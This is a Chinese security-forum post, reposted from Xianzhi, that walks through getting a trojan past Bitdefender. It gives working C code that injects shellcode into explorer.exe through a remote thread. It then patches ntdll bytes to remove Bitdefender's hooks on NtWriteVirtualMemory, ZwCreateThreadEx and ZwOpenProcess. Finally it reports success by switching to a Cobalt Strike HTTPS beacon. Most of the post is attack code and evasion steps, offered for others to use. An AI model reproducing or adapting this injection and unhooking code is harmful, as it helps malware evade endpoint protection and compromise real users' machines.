安全矩阵

 找回密码
 立即注册
搜索
查看: 2442|回复: 0

bypass Bitdefender

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-4-18 16:20:32 | 显示全部楼层 |阅读模式
bypass Bitdefender          转载自:bypass Bitdefender
首发于先知社区:https://xz.aliyun.com/t/9493

前言渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析
最近在研究如何免杀,写了一个马,火绒 360 成功绕过(图有点少,当时没存,火绒测试是用的同学的物理机,两台,还有一台没截图;360是虚拟机)



然后看到Askar大佬的文章,决定试试绕过Bitdenfender,先运行一下,说不定也过了呢(痴心妄想) 结果一运行,连马也给我删了,看看Bitdefender是如何检测的

检查我的exe,通过x64debug去调试:






发现这里竟然多了一个"atcuf64.dll",而且是Bitdefender的,这非常可疑,大概率是来检查我的行为的,很有可能是Hook我的API,这里看一下我的马用到了哪些API

  1. DWORD CeatRemoThread(DWORD pid)
  2. {
  3. HANDLE hThread;
  4. DWORD dwOldProtect;
  5. DWORD dwThreadId;
  6. int shellcode_size = sizeof(buf);
  7. char* newBuf;

  8. decrypt(buf, shellcode_size, (LPVOID*)&newBuf);   //jiemi

  9. HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
  10. if (hHandle == NULL)
  11. {
  12.   printf("openprocessError");
  13.   free(newBuf);
  14.   return FALSE;
  15. }
  16. LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  17. SIZE_T dwSize = 0;
  18. WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
  19. Sleep(3000);
  20. VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);


  21. HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
  22. if (hNtdll == NULL)
  23. {
  24.   printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
  25.   return FALSE;
  26. }
  27. else
  28. {
  29.   printf("[*] Load ntdll.dll Successfully!\n");
  30. }
  31. #ifdef _WIN64
  32. typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  33.   PHANDLE ThreadHandle,
  34.   ACCESS_MASK DesiredAccess,
  35.   LPVOID ObjectAttributes,
  36.   HANDLE ProcessHandle,
  37.   LPTHREAD_START_ROUTINE lpStartAddress,
  38.   LPVOID lpParameter,
  39.   ULONG CreateThreadFlags,
  40.   SIZE_T ZeroBits,
  41.   SIZE_T StackSize,
  42.   SIZE_T MaximumStackSize,
  43.   LPVOID pUnkown
  44.   );
  45. #else
  46. typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  47.   PHANDLE ThreadHandle,
  48.   ACCESS_MASK DesiredAccess,
  49.   LPVOID ObjectAttributes,
  50.   HANDLE ProcessHandle,
  51.   LPTHREAD_START_ROUTINE lpStartAddress,
  52.   LPVOID lpParameter,
  53.   BOOL CreateSuspended,
  54.   DWORD dwStackSize,
  55.   DWORD dw1,
  56.   DWORD dw2,
  57.   LPVOID pUnkown
  58.   );
  59. #endif
  60. typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
  61. ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

  62. if (ZwCreateThreadEx == NULL)
  63. {
  64.   printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
  65.   return FALSE;
  66. }
  67. else
  68. {
  69.   printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
  70. }
  71. HANDLE hRemoteThread = NULL;
  72. DWORD ZwRet = 0;
  73. ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
  74.   (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);

  75. if (hRemoteThread == NULL)
  76. {
  77.   printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
  78.   getchar();
  79.   VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
  80.   CloseHandle(hHandle);
  81.   FreeLibrary(hNtdll);
  82.   return FALSE;
  83. }

  84. WaitForSingleObject(hRemoteThread, INFINITE);

  85. return TRUE;
  86. }
复制代码


先把杀软喜欢检测的拿出来 VirtualAllocEx WriteProcessMemory ZwCreateThreadEx 这里可以看到我的ZwCreateThreadEx是动态加载的,而且较为底层,先看看WriteProcessMemory,是否被钩住了 使用disasm WriteProcessMemory找到这个API

跟进去看看,这里是比WriteProcessMemory更为底层的NtWriteVirtualMemory

跟进去看看!

似乎是被钩住了,看看本来NtWriteVirtualMemory的样子

这里证明确实是被Bitdefender的那个atcuf64.dll钩住了,会发送到这个dll中那里进行检查,监控
这里我希望进行一个unhook的操作,把他E9的4个字节,包括E9还原成原来的硬编码,原来的硬编码为: 4C 8B D1 B8 3A

这里更新自己的代码,动态获取NtWriteVirtualMemory的地址并unhook
  1. HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
  2. LPVOID NtWriteVirtualMemory_Address = GetProcAddress(hNtdll, "NtWriteVirtualMemory");
  3. printf("[*] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
  4. if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5, NULL)) {
  5. printf("[*] NtWriteVirtualMemory unhook done!\n");
复制代码


当我单步执行到unhook done后,看到NtWriteVirtualMemory确实已经复原,unhook成功了!

再看VirtualAllocEx 似乎并没有被hook



先放到一边
再看ZwCreateThreadEx,这个底层的函数同样被hook了


同样的,我们unhook,改为原来的硬编码 4C 8B D1 B8 C1
代码新增:
  1. typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
  2. ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
  3. if (WriteProcessMemory(GetCurrentProcess(), ZwCreateThreadEx, "\x4C\x8B\xD1\xB8\xC1", 5, NULL)) {
  4.   printf("[*] ZwCreateThreadEx unhooking done!\n");
  5. }
复制代码


看看效果

也已经恢复为原来的硬编码
直接运行试试,应该是可以了,但是运行发现还是被拦截了


很难受,但是我发现这里报的毒已经跟之前的不一样了,并且我的马并没有被删!这表明Bitdenfender认为我的exe没有问题,他这里报毒指的是explorer中有cs的马,这属于绕过内存扫描的内容,hook层面已经绕过完成(了吗?)

我一开始以为是动态扫描出我的马,但我发现Bitdefender的反应很快,我想到卡巴斯基,马可以上线大概5秒,毕竟扫描也需要时间,但为什么这里一瞬间就挂了,我猜想是Bitdefender监控到了explorer有特殊的行为,或者什么东西操纵了它,一看我调用的API,openprocess这个API很明显,我猜想是不是Bitdefender监控到了我打开过explorer,想到这里我有些激动,一看,果然被挂钩了!




尝试unhook,硬编码为4C 8B D1 B8 26 代码:
LPVOID ZwOpenProcess_Address = GetProcAddress(hNtdll, "ZwOpenProcess"); printf("
  • ZwOpenProcess address is : %p\n", ZwOpenProcess_Address); if (WriteProcessMemory(GetCurrentProcess(), ZwOpenProcess_Address, "\x4C\x8B\xD1\xB8\x26", 5, NULL)) {  printf("
  • ZwOpenProcess unhooking done!\n"); }
    unhook成功:



    再测试发现依然没过,这里有点尴尬,重新回来审视报毒

    我打码的部分是我的ip,英文我也不怎么看的懂,web什么的,他又把ip标记出来,也许是不是内存扫描,是检测到有通信的流量,应该是防火墙

    反向shell是没有问题,问题是cs太过于出名,他的payload很容易就被识别出来
    想了一天,自己构建payload确实超出我的能力,晚上的时候看了下cs还有哪些beacon,突然想到https不是相对于http更加安全吗,是否可以帮助我们绕过,直接上图,成功了!



    我又重新使用http的beacon的payload测试一下,直接给我杀了

    总结一下这几天绕过杀软的心得: 国产的杀软先不说了,卡巴斯基我在分析的时候发现他似乎并没有hook API,包括静态检测这些方面甚至我不用混淆都能过,但是他的动态扫描内存却是非常头疼的,而Bitdenfender是hook API并且监控敏感流量,但运行过后就没扫描内存,各种杀软都有他们各自擅长的领域,但不可能每个方面都兼顾。要有更好的效果,就没有好的性能。


  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-30 12:37 , Processed in 0.013462 second(s), 18 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表